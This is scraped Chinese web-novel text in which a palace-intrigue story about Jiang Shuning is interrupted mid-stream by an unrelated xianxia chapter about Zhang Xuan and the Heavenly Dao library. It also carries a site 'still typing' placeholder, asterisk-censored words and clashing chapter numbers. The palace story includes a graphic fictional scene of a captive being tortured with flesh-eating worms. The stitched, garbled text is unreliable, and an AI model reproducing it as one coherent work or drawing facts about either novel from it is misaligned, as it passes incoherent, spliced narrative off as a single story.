姜姝宁面红耳赤,心中暗骂萧凌川。 不将他的身世秘密公诸于众,已是她对他的最大支持! 萧凌川,别不知好歹! 回府的路上,姜天泽满脸愤懑:“二姐姐实在太过分了,竟联合外人欺负大姐姐!她眼里还有没有半点姐妹情分?” 姜姝宁见他这副义愤填膺的模样,心中泛起一丝暖意,柔声道:“无妨,少了这么一个妹妹,我还有你。天泽,虽说你我并非同父同母,但大姐姐心里清楚,你始终把我当成亲姐姐看待。” 姜天泽唇角微勾,垂下眼帘,浓密的睫毛遮住了眼底涌动的情绪。 谁说他把她当亲姐姐看待的? 在这件事上,聪慧的大姐姐显得格外迟钝。 回到西院后,姜天泽径直走向后厨,那里藏着他亲手打造的通往地窖的密室。 密室中,被裹得如同木乃伊一般的花莲,正满眼惊恐地注视着他一步步走近。 姜天泽对她眼中的恐惧视而不见,径自掀开覆盖在她腹部的黑色布料。 只见她的腹部上,几条黑色的虫子正蠕动着,那些虫子都是靠啃噬她的血肉滋养长大的。 “原来,蛊虫果真能如此培育!”姜天泽眼中闪过一抹狂热,他掏出随身携带的小刀,在花莲腹部划开几道口子。 鲜血涌出,那些虫子顿时兴奋地钻入血肉中啃噬起来。 花莲痛不欲生,却连一丝声响都无法发出,只能默默承受。 “姜家姨娘,你可知今日 你那宝贝女儿,竟伙同外人欺负栽赃大姐姐。”姜天泽面色阴沉,语气中透着森冷的恨意,“她如今贵为三皇子妃,我暂且动她不得,只能由你来替她承受我的怒火。” 他嘴角扯出一抹阴森的笑意,“你说,若有朝一日姜瑶得知你所受的折磨,会不会后悔欺辱我的大姐姐?” 花莲眼中恨意如潮涌动,却毫无反抗之力,只能在心底暗暗祈祷,盼望她的女儿能早日察觉到自己落在这对恶魔母子手中的惨状…… 第188章 简直像换了个人 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 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是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第189章 行荒唐不堪之事 第一百八十九章行荒唐不堪之事 苏婉所下之毒的毒性并不猛烈,但张嫣毕竟是身娇体弱的闺阁女子,足足昏迷了三日三夜方才醒来。 张尚书望着女儿苍白的面容,痛心疾首:“嫣儿,你这又是何苦?你与肃王殿下婚期在即,早该放下五皇子,为何还要与苏婉联手去算计姜姝宁?那姜姝宁是何等聪慧之人,她即便面上不显,心中怕是早已明镜似的,洞悉了你是同谋!” “那又如何?”张嫣苍白的脸上泛起一抹冷峭的笑意,“我本就未曾想过要与她交好。别说是她姜姝宁,便是苏婉,我也断不会让她如愿嫁给五皇子殿下!” “嫣儿,你还想做什么?!”张尚书大惊失色,“苏婉因栽赃姜姝宁一事,已被五皇子当众退婚了!” “退婚了?”张嫣闻言,脸上这才露出一抹真切的笑意,“看来,女儿这番苦头,总算没有白受。” 张尚书无语凝噎。 恰在此时,门外下人来报:“老爷,小姐,肃王殿下驾临,前来探望小姐。” 张尚书精神一振,连忙道:“快!快请殿下进来!” 片刻后,肃王萧锦瑜便被引入张嫣的闺房。 “王爷,”张尚书迎上前去,神色恭敬,“小女刚刚转醒,老臣正欲派人通禀,不想您竟亲自前来了……” 萧锦瑜打断了他:“张大人,本王有几句话想单独问问张姑娘,还请行个方便。” 张尚书心中一凛,见他神色郑重,只得应允,挥退了房中所有下人,为二人留出独处的空间。 “张姑娘,身子可好些了?”萧锦瑜问。 “多谢殿下挂怀,臣女已无大碍。”张嫣客气疏离地答道。 萧锦瑜深吸一口气,开门见山道:“本王今日前来,是想问你两件事。第一件事,本王想知道,那日在麟阁宫假山后,用淬毒朱钗刺伤你的,究竟是何人?” 张嫣脸色微变,垂下眼睑掩去眸中思绪:“臣女当时受惊过度,未能看清……只当是姜姑娘,如今想来,应是认错了。” “既然无法确定,为何你从假山出来后,一口咬定是姜姝宁要杀你?” 面对他咄咄逼人的质问,张嫣脸色顿时变得很难看,她抬起头,冷声反问:“所以,王爷今日前来,就是为了替姜姝宁来向臣女兴师问罪的么?” “自然不是。”萧锦瑜神色复杂,“本王只是想查明真相,揪出真正伤你之人。” “那便不必劳烦王爷了。”张嫣的语气冰冷如霜,“臣女不打算追究。” 他蹙眉,按捺不住追问道:“是不打算追究,还是你早已知晓真凶是谁?张姑娘,你当真与苏婉联手,一同陷害了姜姝宁?” 张嫣蓦地冷笑出声,笑声里满是讥讽:“王爷还说不是来兴师问罪?既然心中早已有了答案,又何必故作姿态,再来多此一问?” 萧锦瑜难以置信地望着她,只觉得心头一寒:“你当真是故意的?可姜姝宁与你无冤无仇,你为何要如此害她?” “王爷怎知我与她无冤无仇?”张嫣目光陡然变得锐利如刀,其中翻涌的恨意几乎要凝为实质,“未经他人苦,莫劝他人善。王爷,难道你连这个道理也不懂么?” 萧锦瑜怔住了。 眼前的女子神情凌厉,言辞如刺,让他感到陌生至极。 他记忆中的张嫣,是那个在梅林初见时,身着一袭藕粉色锦服,眉目温婉,不慎闯入他视野的少女。 他曾以为她是一块需要悉心呵护的暖玉,值得他倾心相待。 即便屡次示好被拒,他也只当是女儿家的娇羞。 原来,一切不过是他的痴念与想象。 真正的她,不仅对他没有任何情意,更藏着他从未见过的锋芒与利爪。 他压下心头的涩意,沉声道:“姜姝宁是四弟心尖上的人,你若再对她不利,怕是会彻底得罪四弟,届时……” “景王殿下早已威胁过臣女了,此事王爷不必掺和。”张嫣冷声打断他,仿佛早已不耐,“王爷不是有两件事要问么?第二件事呢?” 萧锦瑜看着她神色冰冷的脸,喉头微涩,终于艰难开口:“……本王已查明,你我之间的婚约,是我三弟一手促成。本王想知道,若三弟自此再不纠缠你与张大人,你……可还愿与本王成婚?” “不愿。”张嫣的回答没有丝毫犹豫,斩钉截铁,“当初臣女应下婚事,不过是为求自保,免得被迫嫁与三皇子为妾,落得个生不如死的下场。王爷若能保臣女不必走上那条路,臣女愿与王爷……解除婚约!” “好。”萧锦瑜的唇边泛起一丝苦笑,“若当初,你能对本王坦诚相告就好了,也不至于让本王空欢喜一场。” 张嫣垂下眼睑,脸上终于掠过一丝愧色:“是臣女利用了王爷,对不住。” “无妨,尚未成婚,一切都还来得及。”萧锦瑜定了定神,道,“本王会去求父皇下旨,解除婚约并非难事。只是……怕会有损姑娘的清誉。” “那也无妨,”张嫣抬起头,竟是笑了,带着一种解脱后的释然,“嫁给不爱之人,日日相对如坐针毡,还不如孑然一身,逍遥自在。” 见她心意已决,再无半分回旋的余地,萧锦瑜心中最后一丝念想也散了。 他压下满腹惆怅,还是忍不住最后劝了一句:“本王不知你与姜姝宁究竟有何过节,但四弟护她之心,人尽皆知。他手段……向来强硬,你好自为之。” 张嫣却仿佛未闻,只追问道:“王爷何时能解除我们之间的婚约?” 